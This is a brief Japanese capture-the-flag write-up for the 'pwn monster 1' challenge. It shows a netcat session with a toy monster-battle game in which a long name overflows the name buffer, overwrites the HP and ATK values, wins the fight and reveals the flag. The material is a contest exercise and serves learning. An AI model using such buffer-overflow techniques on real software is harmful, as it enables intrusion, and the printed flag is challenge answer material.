pwn monsterが完成しました！ライバルのpwnchuは最強で、バグ技を使わない限りは勝てないでしょう。
nc 35.200.120.35 9001
pwn_monster_1.zip
言われた通りにncしてみるとゲームが始まった。
$ nc 35.200.120.35 9001
____ __ __ _
| _ \__ ___ __ | \/ | ___ _ __ ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
| __/ \ V V /| | | | | | | (_) | | | \__ \ || __/ |
|_| \_/\_/ |_| |_|_| |_|\___/|_| |_|___/\__\___|_|
Press Any Key
Welcome to Pwn Monster World!
I'll give your first monster!
Let's give your monster a name!
+--------+--------------------+----------------------+
|name | 0x0000000000000000 | |
| | 0x0000000000000000 | |
|HP | 0x0000000000000064 | 100 |
|ATK | 0x000000000000000a | 10 |
+--------+--------------------+----------------------+
Input name: Satoki
+--------+--------------------+----------------------+
|name | 0x0000696b6f746153 | Satoki |
| | 0x0000000000000000 | |
|HP | 0x0000000000000064 | 100 |
|ATK | 0x000000000000000a | 10 |
+--------+--------------------+----------------------+
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] Satoki HP: 100
[Rival] pwnchu HP: 9999
Your Turn.
Rival monster took 10 damage!
[You] Satoki HP: 100
[Rival] pwnchu HP: 9989
Rival Turn.
Your monster took 9999 damage!
[You] Satoki HP: -9899
[Rival] pwnchu HP: 9989
Lose...
相手が強すぎるが、先制攻撃タイプなのでBOFでATKを書き換えればよいとわかる。
$ nc 35.200.120.35 9001
____ __ __ _
| _ \__ ___ __ | \/ | ___ _ __ ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
| __/ \ V V /| | | | | | | (_) | | | \__ \ || __/ |
|_| \_/\_/ |_| |_|_| |_|\___/|_| |_|___/\__\___|_|
Press Any Key
Welcome to Pwn Monster World!
I'll give your first monster!
Let's give your monster a name!
+--------+--------------------+----------------------+
|name | 0x0000000000000000 | |
| | 0x0000000000000000 | |
|HP | 0x0000000000000064 | 100 |
|ATK | 0x000000000000000a | 10 |
+--------+--------------------+----------------------+
Input name: SatokiSatokiSatokiSatokiSatoki
+--------+--------------------+----------------------+
|name | 0x6153696b6f746153 | SatokiSa |
| | 0x6f746153696b6f74 | tokiSato |
|HP | 0x696b6f746153696b | 7596287742130219371 |
|ATK | 0x0000696b6f746153 | 115910152315219 |
+--------+--------------------+----------------------+
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] SatokiSatokiSatokiSatokiSatoki HP: 7596287742130219371
[Rival] pwnchu HP: 9999
Your Turn.
Rival monster took 115910152315219 damage!
[You] SatokiSatokiSatokiSatokiSatoki HP: 7596287742130219371
[Rival] pwnchu HP: -115910152305220
Win!
nitic_ctf{We1c0me_t0_pwn_w0r1d!}
名前をたくさん入力して勝利した。